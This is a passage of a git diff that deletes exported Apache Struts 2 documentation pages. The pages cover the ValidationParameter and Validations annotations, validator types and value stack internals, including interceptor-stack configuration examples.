-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validationparameter-annotation.html b/content/docs/validationparameter-annotation.html
deleted file mode 100644
index e0351ad..0000000
--- a/content/docs/validationparameter-annotation.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ValidationParameter annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="customvalidator-annotation.html">CustomValidator Annotation</a>&nbsp;&gt;&nbsp;<a href="validationparameter-annotation.html">ValidationParameter annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ValidationParameter annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14146">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14146">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14146">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14146">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14146">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14146">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="ValidationParameterannotation-ValidationParameterAnnotation">ValidationParameter Annotation</h1>
-
-<p>The ValidationParameter annotation is used as a parameter for CustomValidators.</p>
-
-<h2 id="ValidationParameterannotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must embedded into CustomValidator annotations as a parameter.</p>
-
-<h2 id="ValidationParameterannotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">name</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td co [...]
-
-<h2 id="ValidationParameterannotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@CustomValidator(
-  type =&quot;customValidatorName&quot;,
-  fieldName = &quot;myField&quot;,
-  parameters = { @ValidationParameter( name = &quot;paramName&quot;, value = &quot;paramValue&quot; ) }
-)
-]]></script>
-</div></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validations-annotation.html b/content/docs/validations-annotation.html
deleted file mode 100644
index de73090..0000000
--- a/content/docs/validations-annotation.html
+++ /dev/null
@@ -1,200 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Validations Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="validations-annotation.html">Validations Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Validations Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13882">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13882">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13882">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13882">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13882">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13882">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><plain-text-body>{snippet:id=description|javadoc=true|url=com.opensymphony.xwork2.validator.annotations.Validations}</plain-text-body>
-
-<h2 id="ValidationsAnnotation-Usage">Usage</h2>
-
-<plain-text-body>{snippet:id=usage|javadoc=true|url=com.opensymphony.xwork2.validator.annotations.Validations}</plain-text-body>
-
-<h2 id="ValidationsAnnotation-Parameters">Parameters</h2>
-
-<plain-text-body>{snippet:id=parameters|javadoc=true|url=com.opensymphony.xwork2.validator.annotations.Validations}</plain-text-body>
-
-<h2 id="ValidationsAnnotation-Examples">Examples</h2>
-
-<plain-text-body>{snippet:id=example|javadoc=true|lang=java|url=com.opensymphony.xwork2.validator.annotations.Validations}</plain-text-body>
-
-<h2 id="ValidationsAnnotation-Differentvalidationspermethod">Different validations per method </h2>
-
-<rich-text-body><p>Different validations per method is NOT supported for client-side validation!</p></rich-text-body>
-
-<p>To use different validations per method, the validateAnnotatedMethodOnly property must be set on the validation interceptor.</p>
-
-<plain-text-body>
-&lt;interceptor-ref name="validation"&gt;
-  &lt;param name="validateAnnotatedMethodOnly"&gt;true&lt;/param&gt;                
-  &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</plain-text-body>
-
-<p>Here's a complete example of updating the default stack:</p>
-
-<plain-text-body>
-  &lt;package name="default" extends="struts-default"&gt;
-    &lt;interceptors&gt;
-      &lt;interceptor-stack name="content"&gt;
-        &lt;interceptor-ref name="exception"/&gt;
-                &lt;interceptor-ref name="alias"/&gt;
-                &lt;interceptor-ref name="servletConfig"/&gt;
-                &lt;interceptor-ref name="prepare"/&gt;
-                &lt;interceptor-ref name="i18n"/&gt;
-                &lt;interceptor-ref name="chain"/&gt;
-                &lt;interceptor-ref name="debugging"/&gt;
-                &lt;interceptor-ref name="profiling"/&gt;
-                &lt;interceptor-ref name="scopedModelDriven"/&gt;
-                &lt;interceptor-ref name="modelDriven"/&gt;
-                &lt;interceptor-ref name="fileUpload"/&gt;
-                &lt;interceptor-ref name="checkbox"/&gt;
-                &lt;interceptor-ref name="staticParams"/&gt;
-                &lt;interceptor-ref name="params"&gt;
-                  &lt;param name="excludeParams"&gt;dojo\..*&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-                &lt;interceptor-ref name="conversionError"/&gt;
-                &lt;interceptor-ref name="validation"&gt;
-  	            &lt;param name="validateAnnotatedMethodOnly"&gt;true&lt;/param&gt;                
-                    &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-                &lt;interceptor-ref name="workflow"&gt;
-                    &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-      &lt;/interceptor-stack&gt;
-    &lt;/interceptors&gt;
-    &lt;default-interceptor-ref name="default"/&gt;
-  &lt;/package&gt;
-&lt;/struts&gt;
-</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validatortypes.html b/content/docs/validatortypes.html
deleted file mode 100644
index 2964bdb..0000000
--- a/content/docs/validatortypes.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>validatortypes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="validatortypes.html">validatortypes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">validatortypes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=5603900">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=5603900">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=5603900">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=5603900">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=5603900">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=5603900">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/value-stack-internals.html b/content/docs/value-stack-internals.html
deleted file mode 100644
index b8cac67..0000000
--- a/content/docs/value-stack-internals.html
+++ /dev/null
@@ -1,234 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Value Stack Internals</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="value-stack-internals.html">Value Stack Internals</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Value Stack Internals</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13989">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13989">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13989">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13989">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13989">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13989">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>As Matt Ho explained on the mailing list:</p>
-
-<p> A value stack is essentially a List.  Calling [1] on the stack, <br clear="none">
- returns a substack beginning with the element at index 1.  It's only <br clear="none">
- when you call methods on the stack that your actual objects will be <br clear="none">
- called.</p>
-
-<p> Said another way, let's say I have a value stack that consists of a <br clear="none">
- model and an action as follows:</p>
-
